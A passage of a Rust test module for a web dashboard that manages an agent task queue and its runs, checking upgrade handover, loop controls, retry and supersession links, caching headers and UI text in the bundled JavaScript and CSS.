16014 #[tokio::test]
16015 async fn an_idle_loop_stays_stopped_across_the_handover() {
16016 let home = TempDir::new().expect("temp home");
16017 let ui = idle_ui(&home);
16018 ui.park_for_upgrade().expect("park");
16019 assert!(!handed_over(&home, ui).await);
16020
16021 let successor = idle_ui(&home);
16022 assert!(!successor.resume_after_handover(false));
16023 assert!(!successor.loop_view(None).running);
16024 }
16025
16026 #[tokio::test]
16027 async fn a_loop_the_operator_stopped_is_not_resumed() {
16028 let home = TempDir::new().expect("temp home");
16029 let ui = idle_ui(&home);
16030 ui.start_loop(None).expect("start");
16031 ui.stop_loop(None, false).expect("stop");
16032 ui.park_for_upgrade().expect("park");
16033 assert!(!handed_over(&home, ui).await);
16034 }
16035
16036 #[test]
16037 fn only_an_explicit_one_requests_a_resume() {
16038 assert!(!resume_requested(None));
16039 assert!(!resume_requested(Some("0".into())));
16040 assert!(!resume_requested(Some("".into())));
16041 assert!(resume_requested(Some("1".into())));
16042 }
16043
16044 #[test]
16045 fn the_upgrade_button_arms_before_it_restarts_anything() {
16046 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
16049 assert!(APP_JS.contains("Replace the binary and restart?"));
16050 assert!(APP_JS.contains("function confirmed("));
16051 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
16056 assert!(
16060 APP_JS.contains("Parking, then restarting"),
16061 "the button says what it is waiting for"
16062 );
16063 assert!(APP_JS.contains("if (!out.to)"));
16066 }
16067
16068 #[test]
16069 fn stopping_the_loop_arms_but_starting_does_not() {
16070 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
16073 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
16074 assert!(APP_JS.contains("confirmed(button, question)"));
16075 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
16078 assert!(APP_JS.contains("const label = btn.textContent;"));
16079 assert!(!APP_JS.contains("Neither direction is guarded"));
16080 }
16081
16082 #[test]
16083 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
16084 assert!(
16085 APP_JS.contains("state.health.version"),
16086 "the operator wants to know what is running even with nothing newer"
16087 );
16088 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
16089 }
16090
16091 #[test]
16092 fn the_upgrade_button_names_its_destination() {
16093 assert!(
16094 APP_JS.contains("`Update to ${update.to}`"),
16095 "pressing the button should not be a surprise about what it moves to"
16096 );
16097 }
16098
16099 #[test]
16100 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
16101 for stage in ["downloading", "replaced", "parking", "restarting"] {
16102 assert!(
16103 APP_JS.contains(&format!("\"{stage}\"")),
16104 "the phone must be able to tell {stage} apart from the others"
16105 );
16106 }
16107 assert!(APP_JS.contains(".waiting_on"));
16108 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
16113 assert!(APP_JS.contains("reconnects on its own"));
16114 }
16115
16116 #[test]
16117 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
16118 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
16127 ..APP_JS.find("function upgrade(").expect("upgrade")];
16128 assert!(
16129 !body.contains(
16130 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
16131 ),
16132 "a failed upgrade must not take the whole strip over the way it used to"
16133 );
16134 assert!(
16135 body.contains("upgradeFailNote"),
16136 "the failure has to reach the loop's own note instead"
16137 );
16138 assert_eq!(
16142 body.matches("upgradeFailNote].filter(Boolean).join")
16143 .count(),
16144 2,
16145 "both loop-why writers (quiet and control) must fold the note in"
16146 );
16147 }
16148
16149 #[test]
16150 fn an_overdue_upgrade_eventually_asks_for_a_human() {
16151 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
16154 assert!(APP_JS.contains("function upgradeOverdue("));
16155 }
16156
16157 #[test]
16158 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
16159 assert!(
16160 APP_JS.contains("Updated to ${upgradeInfo.to"),
16161 "the operator who asked for the restart wants to know it worked"
16162 );
16163 }
16164
16165 #[test]
16166 fn an_error_is_visible_from_where_the_button_is() {
16167 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
16172 ..APP_CSS.find(".alert-text").expect(".alert-text")];
16173 assert!(
16174 alert.contains("position: fixed"),
16175 "an error about the thing under your thumb has to be visible from \
16176 where your thumb is: {alert}"
16177 );
16178 assert!(
16179 alert.contains("z-index: 25"),
16180 "above the dock (20) and the run-actions FAB (15), so neither \
16181 buries it: {alert}"
16182 );
16183 assert!(
16184 alert.contains("var(--tap)"),
16185 "and clear of the dock and the home indicator: {alert}"
16186 );
16187 assert!(
16190 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
16191 "the FAB's column stays free: {alert}"
16192 );
16193 }
16194
16195 #[tokio::test]
16196 async fn an_older_attempt_says_what_replaced_it() {
16197 let fx = Fixture::start().await;
16198 let q = fx.queue();
16199 let runs = fx.runs();
16200 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16201 write_run(&runs, first, RunStatus::Stalled);
16202 write_run(&runs, second, RunStatus::Blocked);
16203
16204 let mut t = Task::new(
16205 "one task".to_owned(),
16206 "do it".to_owned(),
16207 PathBuf::from("/repo"),
16208 Source::Human,
16209 );
16210 t.runs = vec![first.to_owned(), second.to_owned()];
16211 q.put(&mut t).expect("put");
16212
16213 let rows = fx.get("/api/runs").await.json();
16217 let by = |short: &str| -> Value {
16218 rows.as_array()
16219 .unwrap()
16220 .iter()
16221 .find(|r| r["short"] == short)
16222 .cloned()
16223 .unwrap_or(Value::Null)
16224 };
16225 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
16226 assert!(
16227 by("bbbb")["superseded_by"].is_null(),
16228 "the latest attempt is not superseded by anything"
16229 );
16230 assert!(APP_JS.contains("run.superseded_by"));
16232 assert!(APP_JS.contains("Superseded by"));
16233 }
16234
16235 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
16236 let mut t = Task::new(
16237 "one task".to_owned(),
16238 "do it".to_owned(),
16239 PathBuf::from("/repo"),
16240 Source::Human,
16241 );
16242 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16243 t.status = status;
16244 t
16245 }
16246
16247 #[test]
16248 fn source_link_picks_the_page_that_filed_the_task() {
16249 let agent = |node: &str| Source::Agent {
16250 run: "20260904-014455-ab12".to_owned(),
16251 node: node.to_owned(),
16252 };
16253 let chat = source_link(&agent("chat")).expect("chat link");
16254 assert_eq!(chat.kind, "chat");
16255 assert_eq!(chat.id, "20260904-014455-ab12");
16256 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
16257 let run = source_link(&agent("implement")).expect("run link");
16258 assert_eq!(
16259 (run.kind, run.href.as_str()),
16260 ("run", "#/runs/20260904-014455-ab12")
16261 );
16262 assert_eq!(source_link(&Source::Human), None);
16263 assert_eq!(
16264 source_link(&Source::Issue {
16265 number: 3,
16266 repo: "o/r".to_owned()
16267 }),
16268 None
16269 );
16270 let odd = source_link(&Source::Agent {
16271 run: "a b/c".to_owned(),
16272 node: "chat".to_owned(),
16273 })
16274 .expect("link");
16275 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
16276 }
16277
16278 #[test]
16279 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
16280 assert!(
16281 !APP_JS.contains("src.node === \"chat\""),
16282 "inline href rule is back"
16283 );
16284 assert!(
16285 APP_JS.matches("sourceLinkOf(").count() >= 4,
16286 "helper must serve every page"
16287 );
16288 assert!(
16289 APP_JS.matches("openChatLink(").count() >= 3,
16290 "the run page still needs its explicit chat link"
16291 );
16292 assert!(
16293 !APP_JS.contains("const openChat = el("),
16294 "the Queue card duplicates its source label link again"
16295 );
16296 assert!(
16297 APP_JS.contains("metaKids.push(link ? el(\"a\""),
16298 "the task page must link a chat source label too"
16299 );
16300 }
16301
16302 #[test]
16303 fn task_ref_carries_the_source_link_for_a_chat_task() {
16304 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16305 t.source = Source::Agent {
16306 run: "20260904-014455-ab12".to_owned(),
16307 node: "chat".to_owned(),
16308 };
16309 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
16310 let v = serde_json::to_value(&out).expect("json");
16311 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
16312 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
16313 assert_eq!(v["source_label"], t.source.label());
16314
16315 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16316 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
16317 .expect("json");
16318 assert!(v["source_link"].is_null(), "{v}");
16319 }
16320
16321 #[test]
16322 fn task_view_serializes_source_link() {
16323 let mut t = Task::new(
16324 "t".to_owned(),
16325 "t".to_owned(),
16326 PathBuf::from("/repo"),
16327 Source::Agent {
16328 run: "20260901-000000-aaaa".to_owned(),
16329 node: "implement".to_owned(),
16330 },
16331 );
16332 t.runs.clear();
16333 let v = serde_json::to_value(TaskView::from(t)).expect("json");
16334 assert_eq!(v["source_link"]["kind"], "run", "{v}");
16335 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
16336 }
16337
16338 #[tokio::test]
16339 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
16340 let fx = Fixture::start().await;
16341 let runs = fx.runs();
16342 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16343 write_run(&runs, old, RunStatus::Blocked);
16344 write_run(&runs, new, RunStatus::Merged);
16345 let mut t = outcome_task(&[old, new], TaskStatus::Done);
16346 fx.queue().put(&mut t).expect("put");
16347
16348 let view = fx.get(&format!("/api/runs/{old}")).await.json();
16349 let task = &view["task"];
16350 assert_eq!(task["status"], "done");
16351 assert_eq!(task["is_latest"], false);
16352 assert_eq!(task["latest"]["short"], "bbbb");
16353 assert_eq!(task["finished_by"]["id"], new);
16354 assert_eq!(task["finished_by"]["outcome"], "merged");
16355 assert_eq!(task["closed_by_hand"], false);
16356 assert_eq!(view["status"], "blocked", "the run keeps its own status");
16357 assert!(APP_JS.contains("finished_by"));
16358 assert!(APP_JS.contains("superseded by run"));
16359 }
16360
16361 #[tokio::test]
16362 async fn the_latest_run_reports_a_held_task_without_a_successor() {
16363 let fx = Fixture::start().await;
16364 let runs = fx.runs();
16365 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16366 write_run(&runs, old, RunStatus::Stalled);
16367 write_run(&runs, new, RunStatus::Blocked);
16368 let mut t = outcome_task(&[old, new], TaskStatus::Held);
16369 fx.queue().put(&mut t).expect("put");
16370
16371 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
16372 assert_eq!(task["status"], "held");
16373 assert_eq!(task["is_latest"], true);
16374 assert!(task["latest"].is_null());
16375 assert!(task["finished_by"].is_null());
16376 assert_eq!(task["closed_by_hand"], false);
16377 }
16378
16379 #[tokio::test]
16380 async fn a_direct_run_has_no_task_outcome() {
16381 let fx = Fixture::start().await;
16382 let runs = fx.runs();
16383 let id = "20260901-000000-aaaa";
16384 write_run(&runs, id, RunStatus::Blocked);
16385 let view = fx.get(&format!("/api/runs/{id}")).await.json();
16386 assert!(view["task"].is_null());
16387 }
16388
16389 #[test]
16390 fn task_outcome_does_not_guess_a_finishing_run() {
16391 let a = "20260901-000000-aaaa";
16392 let b = "20260901-000000-bbbb";
16393 let c = "20260901-000000-cccc";
16394 let dir = tempfile::tempdir().expect("tempdir");
16395 write_run(dir.path(), a, RunStatus::Blocked);
16396 write_run(dir.path(), b, RunStatus::VerifiedNoop);
16397 let read = |id: &str| read_run(dir.path(), id).ok();
16399 let t = outcome_task(&[a, b, c], TaskStatus::Done);
16402 let out = task_outcome(&t, a, 3, read);
16403 assert!(out.finished_by.is_none());
16404 assert!(out.closed_by_hand);
16405 let latest = out.latest.expect("latest");
16406 assert_eq!(latest.id, c);
16407 assert_eq!(latest.status, None);
16408 assert_eq!(latest.outcome, "record unreadable");
16409
16410 write_run(dir.path(), c, RunStatus::Ready);
16412 let t = outcome_task(&[a, c], TaskStatus::Done);
16413 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
16414 assert_eq!(out.finished_by.expect("finisher").id, c);
16415 assert!(!out.closed_by_hand);
16416
16417 let t = outcome_task(&[a, b, a], TaskStatus::Held);
16419 assert!(task_outcome(&t, a, 3, read).is_latest);
16420 }
16421
16422 #[tokio::test]
16423 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
16424 let fx = Fixture::start().await;
16429 let q = fx.queue();
16430 let runs = fx.runs();
16431 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
16432 write_run(&runs, first, RunStatus::Blocked);
16433 write_run(&runs, second, RunStatus::Merged);
16434
16435 let mut t = Task::new(
16436 "one task".to_owned(),
16437 "do it".to_owned(),
16438 PathBuf::from("/repo"),
16439 Source::Human,
16440 );
16441 t.runs = vec![first.to_owned(), second.to_owned()];
16442 q.put(&mut t).expect("put");
16443
16444 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
16445 assert_eq!(earlier["superseded_by"], "dddd");
16446 assert_eq!(earlier["latest_attempt"]["id"], second);
16447 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
16448 assert_eq!(
16449 earlier["latest_attempt"]["resolved"], true,
16450 "the run that replaced it landed, so this one reads as settled"
16451 );
16452
16453 let later = fx.get(&format!("/api/runs/{second}")).await.json();
16454 assert!(
16455 later["superseded_by"].is_null(),
16456 "the latest attempt is not superseded by anything"
16457 );
16458 assert!(
16459 later["latest_attempt"].is_null(),
16460 "the latest attempt has no later attempt of its own"
16461 );
16462
16463 assert!(APP_JS.contains("run.latest_attempt"));
16470 assert!(APP_JS.contains("data-superseded"));
16471 assert!(APP_JS.contains("#/runs/${latest.id}"));
16472 }
16473
16474 #[tokio::test]
16475 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
16476 let fx = Fixture::start().await;
16482 let q = fx.queue();
16483 let runs = fx.runs();
16484 let (a, b, c) = (
16485 "20260901-000000-aaaa",
16486 "20260901-000000-bbbb",
16487 "20260901-000000-cccc",
16488 );
16489 write_run(&runs, a, RunStatus::Blocked);
16490 write_run(&runs, b, RunStatus::Blocked);
16491 write_run(&runs, c, RunStatus::Merged);
16492
16493 let mut t = Task::new(
16494 "retried twice".to_owned(),
16495 "do it".to_owned(),
16496 PathBuf::from("/repo"),
16497 Source::Human,
16498 );
16499 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
16500 q.put(&mut t).expect("put");
16501
16502 let view = fx.get(&format!("/api/runs/{a}")).await.json();
16503 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
16504 assert_eq!(
16505 view["latest_attempt"]["id"], c,
16506 "the chain's current head, not the intermediate Blocked retry"
16507 );
16508 assert_eq!(view["latest_attempt"]["resolved"], true);
16509
16510 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
16511 assert_eq!(mid["latest_attempt"]["id"], c);
16512 assert_eq!(mid["latest_attempt"]["resolved"], true);
16513 }
16514
16515 #[tokio::test]
16516 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
16517 let fx = Fixture::start().await;
16518 let q = fx.queue();
16519 let runs = fx.runs();
16520
16521 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
16524 write_run(&runs, still_blocked_a, RunStatus::Blocked);
16525 write_run(&runs, still_blocked_b, RunStatus::Blocked);
16526 let mut t1 = Task::new(
16527 "still stuck".to_owned(),
16528 "do it".to_owned(),
16529 PathBuf::from("/repo"),
16530 Source::Human,
16531 );
16532 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
16533 q.put(&mut t1).expect("put");
16534 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
16535 assert_eq!(view1["latest_attempt"]["resolved"], false);
16536 assert_eq!(view1["latest_attempt"]["status"], "blocked");
16537 assert_eq!(view1["latest_attempt"]["done"], true);
16538
16539 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
16541 write_run(&runs, run_a, RunStatus::Blocked);
16542 write_run(&runs, run_b, RunStatus::Implementing);
16543 let mut t3 = Task::new(
16544 "retrying".to_owned(),
16545 "do it".to_owned(),
16546 PathBuf::from("/repo"),
16547 Source::Human,
16548 );
16549 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
16550 q.put(&mut t3).expect("put");
16551 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
16552 assert_eq!(view3["latest_attempt"]["id"], run_b);
16553 assert_eq!(view3["latest_attempt"]["resolved"], false);
16554 assert_eq!(view3["latest_attempt"]["done"], false);
16555
16556 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
16561 write_run(&runs, noop_a, RunStatus::Blocked);
16562 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
16563 let mut t2 = Task::new(
16564 "claims done".to_owned(),
16565 "do it".to_owned(),
16566 PathBuf::from("/repo"),
16567 Source::Human,
16568 );
16569 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
16570 q.put(&mut t2).expect("put");
16571 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
16572 assert_eq!(
16573 view2["latest_attempt"]["resolved"], false,
16574 "an unverified no-op claim must not read as a confirmed finish"
16575 );
16576
16577 assert!(APP_JS.contains("latest.resolved"));
16580 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
16583 assert!(APP_JS.contains("Latest attempt: "));
16584 assert!(APP_JS.contains("in flight"));
16585 assert!(APP_JS.contains("not resolved"));
16586 }
16587
16588 #[tokio::test]
16589 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
16590 let fx = Fixture::start().await;
16591 let js = fx.get("/app.js").await;
16597 assert_eq!(js.status, 200);
16598 let tag = js
16599 .header("etag")
16600 .expect("an etag to revalidate against")
16601 .to_owned();
16602 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
16603 assert_eq!(
16604 js.header("cache-control"),
16605 Some("no-cache, must-revalidate"),
16606 "the phone has to ask every time"
16607 );
16608
16609 let again = fx
16612 .get_with("/app.js", &[("if-none-match", tag.as_str())])
16613 .await;
16614 assert_eq!(
16615 again.status, 304,
16616 "a deck it already has costs one round trip"
16617 );
16618 assert!(again.body.is_empty(), "304 carries no body");
16619
16620 let weak = fx
16623 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
16624 .await;
16625 assert_eq!(weak.status, 304);
16626 let stale = fx
16627 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
16628 .await;
16629 assert_eq!(stale.status, 200, "an older build must be replaced");
16630 assert!(stale.body.contains("renderRunActions"));
16631 }
16632
16633 #[test]
16634 fn the_task_detail_has_an_actions_fab_and_sheet() {
16635 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
16636 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
16637 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
16638 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
16640 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
16641 assert!(APP_JS.contains("renderTaskActions(task);"));
16643 assert!(APP_JS.contains("renderTaskActions(null);"));
16644 let sheet = APP_JS
16646 .find("function renderTaskActions")
16647 .expect("sheet renderer");
16648 let body = &APP_JS[sheet..sheet + 3000];
16649 assert!(body.contains("changePriority("));
16650 assert!(body.contains("openTaskEdit(task)"));
16651 assert!(body.contains("renderTaskHoldBox(host"));
16652 assert!(body.contains("renderTaskDoneBox(host"));
16653 assert!(body.contains("renderTaskDeleteBox(host"));
16654 assert!(APP_JS.contains("API.priority(id)"));
16655 assert!(APP_JS.contains("API.deleteTask(id)"));
16656 assert!(APP_JS.contains("location.hash = \"#/queue\""));
16658 assert!(APP_JS.contains("$(\"task-actions-error\")"));
16660 }
16661
16662 #[test]
16663 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
16664 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
16665 let actions = INDEX_HTML
16666 .find("id=\"run-actions-box\"")
16667 .expect("actions box");
16668 assert!(task < actions, "the task entry comes first in the sheet");
16669 assert!(APP_JS.contains("renderRunTaskEntry"));
16670 assert!(APP_JS.contains("\"Open task \""));
16671 assert!(APP_JS.contains("started directly, no task"));
16673 assert!(APP_JS.contains("sheet-task-link"));
16674 assert!(APP_JS.contains("task-chip-link"));
16675 }
16676
16677 #[test]
16678 fn the_deck_never_sends_the_operator_to_a_terminal() {
16679 assert!(
16682 !APP_JS.contains("Run `magi fold` first"),
16683 "the deck must offer the fold, not prescribe a shell command"
16684 );
16685 assert!(APP_JS.contains("foldRun:"));
16686 assert!(APP_JS.contains("resumeRun:"));
16687 assert!(APP_JS.contains("renderRunActions"));
16688
16689 assert!(APP_JS.contains("armedFold"));
16691 assert!(APP_JS.contains("Yes, fold worktrees"));
16692
16693 assert!(APP_JS.contains("can no longer be resumed"));
16696 }
16697
16698 #[test]
16699 fn a_finished_run_explains_itself_with_its_own_last_line() {
16700 assert!(
16706 !APP_JS.contains("collapsed on agent quota"),
16707 "a stall must not be explained by a cause the deck did not check"
16708 );
16709 assert!(
16710 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
16711 "and a block must not offer a guess with an `or` in it"
16712 );
16713
16714 assert!(
16718 APP_JS.contains("setText(r.event, run.event || \"\")"),
16719 "the run's last line is rendered unconditionally"
16720 );
16721 assert!(
16722 !APP_JS.contains("moving && run.event"),
16723 "and never gated on the run still moving"
16724 );
16725
16726 assert!(APP_JS.contains("lost to quota"));
16728 }
16729
16730 #[test]
16752 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
16753 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
16754 let shapes_body_start =
16755 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
16756 let shapes_close = APP_JS[shapes_body_start..]
16757 .find("].map(")
16758 .expect("the shape list is closed by its done-computing .map(...)")
16759 + shapes_body_start;
16760 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
16761
16762 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
16763 for entry in shapes_src.split('{').skip(1) {
16764 let waiting = entry.contains("waiting: true");
16765 let dead = entry.contains("live: \"dead\"");
16766 let status_at =
16767 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
16768 let status_end = entry[status_at..]
16769 .find('"')
16770 .expect("the status string is closed")
16771 + status_at;
16772 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
16773 }
16774 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
16775
16776 let done_rule_marker = "done: !";
16780 let done_rule_at = APP_JS[shapes_close..]
16781 .find(done_rule_marker)
16782 .expect("the done rule follows the shape list")
16783 + shapes_close
16784 + done_rule_marker.len();
16785 let includes_at = APP_JS[done_rule_at..]
16786 .find(".includes(shape.status)")
16787 .expect("the done rule ends in .includes(shape.status)")
16788 + done_rule_at;
16789 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
16790 .trim()
16791 .trim_start_matches('[')
16792 .trim_end_matches(']')
16793 .split(',')
16794 .map(|s| s.trim().trim_matches('"'))
16795 .filter(|s| !s.is_empty())
16796 .collect();
16797
16798 let shapes: Vec<(bool, String, bool, bool)> = shapes
16799 .into_iter()
16800 .map(|(waiting, status, dead)| {
16801 let done = !not_done.contains(&status.as_str());
16802 (waiting, status, dead, done)
16803 })
16804 .collect();
16805
16806 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
16810 if waiting {
16811 return "waiting";
16812 }
16813 if dead
16814 && !matches!(
16815 status,
16816 "merged"
16817 | "ready"
16818 | "stalled"
16819 | "blocked"
16820 | "failed"
16821 | "verified_noop"
16822 | "superseded"
16823 | "already_in_base"
16824 )
16825 {
16826 return "stale";
16827 }
16828 match status {
16829 "merged" | "ready" => "landed",
16830 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
16831 | "already_in_base" => "ended",
16832 _ => "flight",
16833 }
16834 }
16835
16836 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
16839 match filter_key {
16840 "active" => !done,
16841 "flight" => !done && !waiting && !dead,
16842 "stale" => !done && !waiting && dead,
16843 "waiting" => waiting,
16844 "done" => done,
16845 "all" => true,
16846 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
16847 }
16848 }
16849
16850 let compatible = |section: &str, filter_key: &str| {
16851 shapes.iter().any(|(waiting, status, dead, done)| {
16852 run_section(*waiting, status, *dead) == section
16853 && filter_matches(filter_key, *waiting, *dead, *done)
16854 })
16855 };
16856
16857 let expected = [
16862 ("waiting", [true, false, false, true, true, true]),
16863 ("stale", [true, false, true, false, false, true]),
16864 ("flight", [true, true, false, false, false, true]),
16865 ("landed", [false, false, false, false, true, true]),
16866 ("ended", [false, false, false, false, true, true]),
16867 ];
16868 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
16869
16870 for (section, wants) in expected {
16871 for (filter_key, want) in filter_keys.iter().zip(wants) {
16872 assert_eq!(
16873 compatible(section, filter_key),
16874 want,
16875 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
16876 );
16877 }
16878 }
16879
16880 assert!(
16883 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
16884 );
16885 assert!(APP_JS.contains(
16886 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
16887 ));
16888 assert!(APP_JS.contains(
16889 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
16890 ));
16891 }
16892
16893 #[tokio::test]
16894 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
16895 let dir = tempfile::tempdir().expect("tempdir");
16899 let explicit = dir.path().join("not-a-checkout");
16900 std::fs::create_dir_all(&explicit).expect("create dir");
16901 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
16902
16903 let missing = dir.path().join("does-not-exist-at-all");
16904 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
16905 }
16906
16907 #[test]
16908 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
16909 assert!(APP_JS.contains("function statsDonutArcs"));
16910 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
16911 assert!(APP_JS.contains("function statusInBucket"));
16913 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
16914 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
16915 let buckets = [
16916 "merged",
16917 "ready",
16918 "in_progress",
16919 "blocked",
16920 "failed",
16921 "verified_noop",
16922 "superseded",
16923 "stalled",
16924 ];
16925 for key in buckets {
16926 let var = format!("--verdict-{key}:");
16927 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
16929 assert!(
16930 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
16931 "{key}"
16932 );
16933 }
16934 }
16935}